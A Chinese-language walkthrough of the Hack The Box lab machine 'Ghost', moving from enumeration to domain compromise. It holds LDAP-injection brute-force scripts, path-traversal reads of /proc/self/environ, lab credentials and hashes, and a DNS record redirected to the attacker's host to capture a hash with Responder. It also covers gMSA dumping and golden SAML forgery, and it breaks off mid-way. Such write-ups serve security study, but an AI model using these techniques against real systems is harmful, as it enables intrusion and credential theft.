【season-5】box Ghost wp

37k words

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PORT      STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-15 07:09:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
1433/tcp open ms-sql-s Microsoft SQL Server
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8008/tcp open http nginx 1.18.0 (Ubuntu)
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
9389/tcp open mc-nmf .NET Message Framing
49443/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
58729/tcp open msrpc Microsoft Windows RPC
58781/tcp open msrpc Microsoft Windows RPC
59211/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1433-TCP:V=7.94SVN%I=7%D=7/15%Time=6694CB42%P=x86_64-pc-linux-gnu%r
SF:(ms-sql-s,25,"\x04\x01\0%\0\0\x01\0\0\0\x15\0\x06\x01\0\x1b\0\x01\x02\0
SF:\x1c\0\x01\x03\0\x1d\0\0\xff\x10\0\x03\xe8\0\0\0\0");
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.88 seconds

ldap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
└─$ ldapsearch -x -H ldap://10.129.197.53 -s base 
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=ghost,DC=htb
ldapServiceName: ghost.htb:dc01$@GHOST.HTB
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=ghost,DC=htb
serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configur
ation,DC=ghost,DC=htb
schemaNamingContext: CN=Schema,CN=Configuration,DC=ghost,DC=htb
namingContexts: DC=ghost,DC=htb
namingContexts: CN=Configuration,DC=ghost,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=ghost,DC=htb
namingContexts: DC=DomainDnsZones,DC=ghost,DC=htb
namingContexts: DC=ForestDnsZones,DC=ghost,DC=htb
isSynchronized: TRUE
highestCommittedUSN: 152657
dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,
CN=Sites,CN=Configuration,DC=ghost,DC=htb
dnsHostName: DC01.ghost.htb
defaultNamingContext: DC=ghost,DC=htb
currentTime: 20240715064305.0Z
configurationNamingContext: CN=Configuration,DC=ghost,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

domain

1
2
3
4
5
6
7
8
9
Found: intranet.ghost.htb

Found: corp.ghost.htb

Found: core.ghost.htb

Found: federation.ghost.htb

Found: gitea.ghost.htb:8008

smb和mssql也试过了没有匿名

User

因为域名比较多,所以80、8008和8443排着测试域名。

core.ghost.htb and ghost.htb 8008

http://core.ghost.htb:8008/web点点有看到一个用户发帖子

web1

点进去看一下会看到一个用户名路径,先记录一下这个用户名

web2

然后再好像没有什么了,到处点一下再。

然后点击搜索的时候出来一个api路径,不过没看出有啥用来,也先记录一下

web3

奇怪的是我过了一会再回来点这个搜索就不好使了,不知道为什么。

看了下这是个成品的cms

web4

去找了下相关搭建的东西,发现这个cms有个后台

https://help.aliyun.com/zh/ecs/use-cases/build-a-ghost-blogging-website-on-an-instance-that-runs-ubuntu

只需要在后面加个/ghost便是,我一开始对这个站点做目录爆破时候没有出来这个。

然后发现他这个web这里好像可以尝试爆破用户。

web5

然后尝试跑了一下,发现有爆破限制,就放弃了。

再尝试其他域名

intranet.ghost.htb 8008

发现也是一个登录页面,但是看着像是自己写的

web6

这里看到next.js我想到的是最近的那个ssrf..不过那个着实挺鸡肋的

简单试一下sql注入

然后我在这注的时候发现他好传参咋是个ldap

web7

用现有用户名测了一下,有跳转反应

web8

这里果断写了个脚本尝试爆破用户全称,因为我直接给了Kathryn HollandKathryn他都报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
import string
import threading
from concurrent.futures import ThreadPoolExecutor


s = string.ascii_lowercase+string.punctuation
url = 'http://intranet.ghost.htb:8008/login'
headers = {
'Host': 'intranet.ghost.htb:8008',
'Accept': 'text/x-component',
'Accept-Language': 'en-US,en;q=0.5',
'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
'Content-Type': 'multipart/form-data; boundary=---------------------------3346689174189000912473093233'
}

lock = threading.Lock()
test = ""
passwd = False
def test_char(head,char):
global test
global passwd
# if char == "*":
# print("\n")
# return
body = (
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="1_ldap-username"\r\n\r\n'
f'{head+test+char}*\r\n'
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="1_ldap-secret"\r\n\r\n'
'*\r\n'
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="0"\r\n\r\n'
'[{"error":"Invalid combination of username and secret"},"$K1"]\r\n'
'-----------------------------3346689174189000912473093233--\r\n'
)
req = requests.post(url, headers=headers, data=body)
if req.status_code == 303:
with lock:
test+=char
print(char, end="")
return
else:
body = (
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="1_ldap-username"\r\n\r\n'
f'{head + test}\r\n'
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="1_ldap-secret"\r\n\r\n'
'*\r\n'
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="0"\r\n\r\n'
'[{"error":"Invalid combination of username and secret"},"$K1"]\r\n'
'-----------------------------3346689174189000912473093233--\r\n'
)
req = requests.post(url, headers=headers, data=body)
if req.status_code == 303:
test=""
passwd = True
return

def run(head):
global passwd
with ThreadPoolExecutor(max_workers=22) as Ex:
while True:
fus = [Ex.submit(test_char, head, char) for char in s]
for fu in fus:
fu.result()
if passwd :
passwd = False
break
userls="k"
for i in userls:
print(i, end="", flush=True)
run(i)
print("\n")

得到用户名Kathryn.Holland

再爆破了一下他的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import string
import threading
from concurrent.futures import ThreadPoolExecutor

s = string.printable
url = 'http://intranet.ghost.htb:8008/login'
headers = {
'Host': 'intranet.ghost.htb:8008',
'Accept': 'text/x-component',
'Accept-Language': 'en-US,en;q=0.5',
'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
'Content-Type': 'multipart/form-data; boundary=---------------------------3346689174189000912473093233'
}

lock = threading.Lock()
test = ""
def test_char(char):
global test

body = (
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="1_ldap-username"\r\n\r\n'
'justin.bradley\r\n'
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="1_ldap-secret"\r\n\r\n'
f'{test+char}*\r\n'
'-----------------------------3346689174189000912473093233\r\n'
'Content-Disposition: form-data; name="0"\r\n\r\n'
'[{"error":"Invalid combination of username and secret"},"$K1"]\r\n'
'-----------------------------3346689174189000912473093233--\r\n'
)
req = requests.post(url, headers=headers, data=body)
if req.status_code == 303:
with lock:
test += char
print(char, end="")


with ThreadPoolExecutor(max_workers=20) as Ex:
while True:
fus = [Ex.submit(test_char, char) for char in s]
for fu in fus:
fu.result()

出了个fGevLfyMxRksVu9B

然后继续爆破其他用户名,拿着Kathryn.Holland和密码去试了下别的地方smb ghost什么的。(这部分弱智了)

过了半天拿了几个用户名和密码,还是没啥收获就登录进去看了下,发现里面有完整的用户名..

username Full Name Member of
kathryn.holland Kathryn Holland sysadmin
cassandra.shelton Cassandra Shelton sysadmin
robert.steeves Robert Steeves sysadmin
florence.ramirez Florence Ramirez IT
justin.bradley Justin Bradley IT, Remote Management Users
arthur.boyd Arthur Boyd IT
beth.clark Beth Clark HR
charles.gray Charles Gray HR
jason.taylor Jason Taylor HR
intranet_principal Intranet Principal principal
gitea_temp_principal Gitea_Temp Principal principal

笑了

然后还有一部分比较重要的信息

web9

说是gitea只有gitea_temp_principal用户能上

以及

web10

目前这个站点正在迁移,有个justin.bradley用户正在跑脚本,但是他访问不到bitbucket,下面这个kathryn.holland说这个bitbucketdns还没配置。

然后果断拿着Gitea_Temp Principal用户去尝试登录一下gitea,这里我被密码坑到了,试了好久登陆不进去,我还以为是爆破的密码有问题

1
2
gitea_temp_principal
szrr8kpc3z6onlqf

然后又返回去想尝试注入看看ldap有没有别的password字段啥的

给了个)&(闭合住了密码,返回303,然后注了一顿也没成功。。

然后返回来接着发现是密码粘贴有问题..

进去之后看到有两个项目,分别是:

ghost-dev/intranetPrivate

ghost-dev/blog

第一个应该就是internet子域项目了

第二个就是ghost.htb:8008的ghost的一个插件。

我先看的第一个项目,翻了翻之后发现intranet/backend/src/api/dev/scan.rs

web11

这里有个rce,对/scan路径传进来的json格式key为url的value部分会直接执行。

不过这里我构造了一个过去/api-dev/scan他显示404

然后返回去看他上级目录的intranet/backend/src/api/dev.rs

调用了这个DevGuard..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};

pub(crate) mod scan;

pub struct DevGuard;

#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
type Error = ();

async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
let key = request.headers().get_one("X-DEV-INTRANET-KEY");
match key {
Some(key) => {
if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
Outcome::Success(DevGuard {})
} else {
Outcome::Error((Status::Unauthorized, ()))
}
},
None => Outcome::Error((Status::Unauthorized, ()))
}
}
}

虽然我ruby学的一般,但是勉强能看出来他是监测request.headers"X-DEV-INTRANET-KEY"字段,和他env里的"DEV_INTRANET_KEY"是否一致。

那问题就来了..这个DEV_INTRANET_KEY去哪整,或者说他的env去哪读..不过其实还挺明确的,这里优先考虑afr或者afd,这个靶机思路确实不是那么复杂。

有个稍微明确一点的思路,翻了翻这个项目里没啥读取漏洞,就去看了

ghost-dev/blog

打开blog/posts-public.js,比较搞笑的是他这个读取连名字都不带改改的,直接搜read当场出货

web12

但是很尴尬,我不会调用他的api…

所以我去查了下

https://ghost.org/docs/content-api/

然后发现

1
2
# Real endpoint - copy and paste to see!
curl "https://demo.ghost.io/ghost/api/content/posts/?key=22444f78447824223cefc48062&include=tags,authors"

官网给的这个例子给的好眼熟

正就是ghost.htb:8008主页那个搜索按钮给点击时候弹出来超级卡的那个连接。

/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DE

根据这个改了改,因为源码这部分

1
2
const extra = frame.original.query?.extra;
if (extra) {

所以猜测参数是extra然后构造了一个

1
curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&extra=../../../../../../../../../../etc/hosts' -s|jq

拿到回显

1
2
"extra": {
"../../../../../../../../../../etc/hosts": "127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-allnodes\nff02::2\tip6-allrouters\n172.19.0.2\t26ae7990f3dd\n"

尝试读取env拿header用的

读了下/etc/environment发现居然没有

怀疑是奇怪的环境,所以考虑了下还是去读了当前的env

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
"extra": {
"../../../../../../../../../../proc/self/environ": "HOSTNAME=26ae7990f3dd
database__debug=false
YARN_VERSION=1.22.19
PWD=/var/lib/ghost
NODE_ENV=production
database__connection__filename=content/data/ghost.db
HOME=/home/node
database__client=sqlite3
url=http://ghost.htb
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
database__useNullAsDefault=true
GHOST_CONTENT=/var/lib/ghost/content
SHLVL=0
GHOST_CLI_VERSION=1.25.3
GHOST_INSTALL=/var/lib/ghost
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=18.19.0
GHOST_VERSION=5.78.0"

这hostname一眼docker,拿到key了,于是直接冲进去

web13

果不其然在/下有docker-entrypoint.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@621de11273cb:/# cat docker-entrypoint.sh
#!/bin/bash

mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *
ControlMaster auto
ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p
ControlPersist yes' > /root/.ssh/config

sshpass -p 'uxLmt*udNc6t3HrF' ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation

exit

exec /app/ghost_intranet

拿到了florence.ramirez的密码,顺便把他app的库拿出来看了下,没啥东西。

用它这个sshpass -p 'uxLmt*udNc6t3HrF' ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation直接在容器里运行了一下,发现跳到了一个wls。

在里面一顿乱翻没找到有价值的东西,或者说权限太低了..

返回容器,梳理一下手头拿到的一堆用户和密码,拿去登陆了一下,发现florence这个用户可以上mssql但是没有回显,rpc收集了一下信息,再没了。

考虑了下想起来还有8443端口没有访问。

于是去看了下

ghost.htb:8443

直接给我跳转到

web14

florence.ramirez登陆了一下 提示只有administrator有权限,不过我有抓到saml的认证请求,到这里首先想到的是saml golden绕过验证。

我参考的 https://www.netwrix.com/golden_saml_attack.html

尝试发现需要导出dkm和tsk…有点尴尬,所以溜了下狗。

因为导出需要用gmsa服务账户,所以看了下..
web16

得用这个JUSTIN.BRADLEY用户

web15

思考了一下想起来之前那个JUSTIN.BRADLEY在论坛里说他正在跑脚本,目标是bitbucket.ghost.htb

1
2
3
4
5
└─$ nslookup bitbucket.ghost.htb 10.10.11.24
Server: 10.10.11.24
Address: 10.10.11.24#53

** server can't find bitbucket.ghost.htb: NXDOMAIN

看了下还真没有,我有点好奇他跑的是个什么脚本,所以尝试用florence.ramirezinternal这俩有密码的用户改一下他的dns解析。

试了下florence.ramirez可以

1
python3 dnstool.py -u 'ghost.htb\florence.ramirez' -p 'uxLmt*udNc6t3HrF' -r  'bitbucket.ghost.htb' -a add -t A -d 10.10.16.24 10.10.11.24

因为不知道具体是啥端口啥服务所以直接开了responder然后刚开就收到一个请求,笑死

1
JUSTIN.BRADLEY::ghost:319ccea79aa1655b:ef59042c8f2711f0662ff96452a07ee0:01010000000000009b58f6791fd9da017afcdcd38b2057f000000000020008004e0032005100370001001e00570049004e002d004a0052004b0034004600570036004e0049004f005100040014004e003200510037002e004c004f00430041004c0003003400570049004e002d004a0052004b0034004600570036004e0049004f0051002e004e003200510037002e004c004f00430041004c00050014004e003200510037002e004c004f00430041004c00080030003000000000000000000000000040000028933c11f5345e9c8e7ed3448ec788b3386af689e196dce91ed13296d5d6ffec0a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:Qwertyuiop1234$$

于是现在有了这个用户的密码了

1
2
JUSTIN.BRADLEY@ghost.htb
Qwertyuiop1234$$

用户在远程组里,所以直接winrm就ok

Root

这用户的作用还是拿一下gmsa用户的hash先

1
2
3
4
5
6
7
└─$ python3 gMSADumper.py -u JUSTIN.BRADLEY -p 'Qwertyuiop1234$$' -d 'ghost.htb'
Users or groups who can read password for adfs_gmsa$:
> DC01$
> justin.bradley
adfs_gmsa$:::4f4b81c5f6a9c1931310ece55a02a8d6
adfs_gmsa$:aes256-cts-hmac-sha1-96:fe641d9fcb8c2652d7bcaa8ae30c1a532742c634d562466eba7a2e799812f036
adfs_gmsa$:aes128-cts-hmac-sha1-96:a29e31f574541765a26cfde4a3070810

winrm进去直接跑ADFSDump.exe

这里我输出当时忘记做记录了,所以就不贴上来了

跟着 https://www.netwrix.com/golden_saml_attack.html 流程来就ok

最后导出

1
2
3
cat TKS | base64 -d > TKS.bin

cat DKM | tr -d "-" | xxd -r -p > DKM.bin

就可以有了这两个就可以做golden saml绕过了

这块要用ADFSpoof.py做,但因为ADFSpoof.py没有给具体的参数标准。

这里卡了四个小时最后朋友看不下去直接给的提示,顺便得知他的wp被人直接扒了,希望官方能把扒的人早点封了,真的恶心剽窃别人成果的,纯nt

因为这个web既不是dropbox也不是o365所以只有可能是saml2.0

这部分ADFSpoof我最后看着saml文档生成的,做完发现参数部分和朋友的有些许差异

先随便登录一个账户,用bp抓一下请求的报文,再去解码一下就得到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_42ef7f6b-b3c3-462f-8ac0-8233a276b4cd" Version="2.0" IssueInstant="2024-07-18T17:44:47.970Z" Destination="https://core.ghost.htb:8443/adfs/saml/postResponse" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="_b1549c4f16e43df9221b90896189acf09d0d596b">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">http://federation.ghost.htb/adfs/services/trust</Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="_12ec6999-8066-4caa-b794-b43e8d2f8408" IssueInstant="2024-07-18T17:44:47.970Z" Version="2.0">
<Issuer>http://federation.ghost.htb/adfs/services/trust</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_12ec6999-8066-4caa-b794-b43e8d2f8408">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>LMI6frwfXXo2RnE5VjSQ52hBKr7VNoUTsB5HgGed9cs=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>sA170irdugiB9NIbsRujfqojCIGbINBxIr2WU6Uk8iZK6IAOngkvPWdhH3rZ3n0REKCy9JNCevu+jRKe2rvnJzVZmSTPv7AhVX5QFegNoznR6x/MUOWnXES7WFJW146lB5r7mvVYKaWB1AbosHEx2j7VBK8sr/GOs9bRA3DpyFJuHute7EiUOOw3EfPDb5WRZI+tlaVNkOqnopaD59Jf5GpVkju7bMxaoZRED2sb+1VkCXwJfO0LiWGgeeptoBu89bQY4sVqz4WXAR5qQmClc3xWyTIox4kyt02OBI/VTfRp2JUBy36oKDEtO0Sxbsx3mqux4E+QY6uGDKD3w/pG83VczhEFUVQ1VrUKWdLG77VUtpiSxb5xZuQsDZQaswTyfBjcMhoHcZTTu6A7hBkgT7Gi7863NJxt185gXwfKvfUymJcFfzwiPMFaFXENJI2UQOo7xgo3uLDlWvt3nBXMGO6hPPRTLgdtxqq9SLdp3m/eRJk+6DQ/M9ShgZZd7JWZSHjwk3RlYfthaU+qcuFa5752nS+gOlc6kA+zVjfaA4GkNHZyYbCFn5gWidRRaODH8JhdhJiPqDHETg1Q6kAAksDiTXoSZl+N0F/xPEUx2hVcvzKXUlRpA+UINFmljRO+FWZuPHidz4oT4+uhm+NSZGQguubrCfrMImviRP1LER0=</ds:SignatureValue>
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>MIIE5jCCAs6gAwIBAgIQJFcWwMybRa5O4+WO5tWoGTANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDEyNBREZTIFNpZ25pbmcgLSBmZWRlcmF0aW9uLmdob3N0Lmh0YjAgFw0yNDA2MTgxNjE3MTBaGA8yMTA0MDUzMDE2MTcxMFowLjEsMCoGA1UEAxMjQURGUyBTaWduaW5nIC0gZmVkZXJhdGlvbi5naG9zdC5odGIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC+AAOIfEqtlYcn153L1BvGQgDyXTnYwTRzsK59+zE1zgGKO9N5nb8Fk+daKpWLQaiH7oDHaenw/QaxBg5qdeDYmD3oz8KyaA1ygYBrzm4wW7Ff87rK9Fe5J5/h6W9g749h5BIqPQOp0l6s1rfumOccN4ybW95EWNL0vuQXvC+KQ4D4gMXu8mCGpxtvIL8ilNtJuIG3ORYSKhRal0yyJeOhG4xglrZJF18p9whnE6omggmA6n2shDk/tvTYjii5e7/icWTKkrsMCpaKUNk7mxdMZhQab7SmfKrZN4pRD7dVg5zzIyD7UzS9CHLC6xNzq/Z0huaOaJhOSdJSgat/bsG8nbx19HD/+ypW9J2LtNFugdWtmUBWDOQBYVhB8Sg4VEGgP9jyItHH2bzsDfjRdJ8E1uNJWP/kQA1+wYlOddLqU3b0IsCvlA8EvYW0T1Rsu77o4x/w0gWb0oQPEIz7z973b496wqQt3DnyfeO3lXXfZNcvaj5KCP2TtGB+KshF9pkIPxq7F2gMh7QjxjRHsA29V8jFo9gLD7kPVicaIUdsgiFHnYQF14a52JtR1V5iN+h95JkuuEqQWDBHAvPEBBZkEZH+5yT+aCFXXX+BpPt3QGjYLeJU8CFsMtn8QVLYvLdcVRsUnRh/WHiXwJOOEVECa9w7/yVnhalCNBx1E/l4KQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAWYKZW3cDCBO6dT3yfl3Ocuyp1LVKVI+9pFx/bbWpWjSdh6b39LTxxD7FYUthuWPZ3rF4G+FdMFHHCx3YpEmUFnELKsXqhZ989AX58I/3mbfUlKWeIPLSLkp+eRZoMJkt7k1/KXtDasOQn0NsgYEowLBImMCMu9uujnCmFOwHP/IBhgYQMHh46BzSXWP3i8VXbrRtDpo/c//OFJhGmnnF8ZPmi4xtzfSDBpVKqwVLp78CguMxjQd+bdUb45588ZJ4CLsPdRQp30WJ1/CNIaenvJWtA2G5IZw5U0EWCJLoYJWFs9iyOa1/y55ruW6J8lIGD0wmoEeCl9CH1Ed4dzUdUXf1MBCYP3X92iaxzUE0upGd/1Qo6HTyyOlWuAwrkT2VHELKVZKOg8+dly97gyZIfUtQwIkPwNl8vo04cfj+hzOvBzPKAAYh14NLgveAI/DqMnO0OKO+w1HBKw64NBCn8goazF+PuFfUO0yNHFL4kxMpcap6iev6g3BXCSDwfqTUOEuEs7q9oYKgq2qnNVOTIhhInMXBzEm6iP13jfuOoXJdPAnEUXn4y5ywA97rtbGnZEPyx1f1EkX/hbqBP4vogv9kltaUEEVXkS+hPpxZmexCNrBD1q7GJ/50ebYlC0Cev8w6Ms8tM0OrvppGYlWrtPwevEvfiRkwBLG7EMAnLSw==</ds:X509Certificate>
</ds:X509Data>
</KeyInfo>
</ds:Signature>
<Subject>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData InResponseTo="_b1549c4f16e43df9221b90896189acf09d0d596b" NotOnOrAfter="2024-07-18T17:49:47.970Z" Recipient="https://core.ghost.htb:8443/adfs/saml/postResponse"/>
</SubjectConfirmation>
</Subject>
<Conditions NotBefore="2024-07-18T17:44:47.970Z" NotOnOrAfter="2024-07-18T18:44:47.970Z">
<AudienceRestriction>
<Audience>https://core.ghost.htb:8443</Audience>
</AudienceRestriction>
</Conditions>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
<AttributeValue>justin.bradley@ghost.htb</AttributeValue>
</Attribute>
<Attribute Name="http://schemas.xmlsoap.org/claims/CommonName">
<AttributeValue>justin.bradley</AttributeValue>
</Attribute>
</AttributeStatement>
<AuthnStatement AuthnInstant="2024-07-18T17:44:28.991Z">
<AuthnContext>
<AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</AuthnContextClassRef>
</AuthnContext>
</AuthnStatement>
</Assertion>
</samlp:Response>

这块在 https://github.com/mandiant/ADFSpoof 也有提到(我一开始眼瞎了没看到)

1
2
3
4
5
6
7
8
